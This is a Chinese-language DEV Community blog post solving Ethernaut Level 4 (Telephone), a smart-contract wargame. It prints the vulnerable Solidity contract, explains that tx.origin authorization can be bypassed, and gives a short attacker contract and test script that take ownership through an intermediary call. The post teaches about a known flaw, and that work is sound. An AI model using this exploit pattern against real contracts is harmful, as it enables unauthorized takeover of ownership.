DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 4(Telephone)

LEVEL 4 (Telephone)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

owner设为player

要点

合约里判断调用人,一定要用msg.sender,不要用tx.origin

解题思路

写个合约调用关卡合约,再用javascript调用自己的合约,tx.origin和msg.sender就会不一定

contracts/04TelephoneRun.sol

interface ILevel {
    function changeOwner(address _owner) external;
}

contract TelephoneRun {    
    function run(address _levelAddress) external {     
        ILevel(_levelAddress).changeOwner(msg.sender);
    }
}
Enter fullscreen mode Exit fullscreen mode

test/04Telephone.js

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address);
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)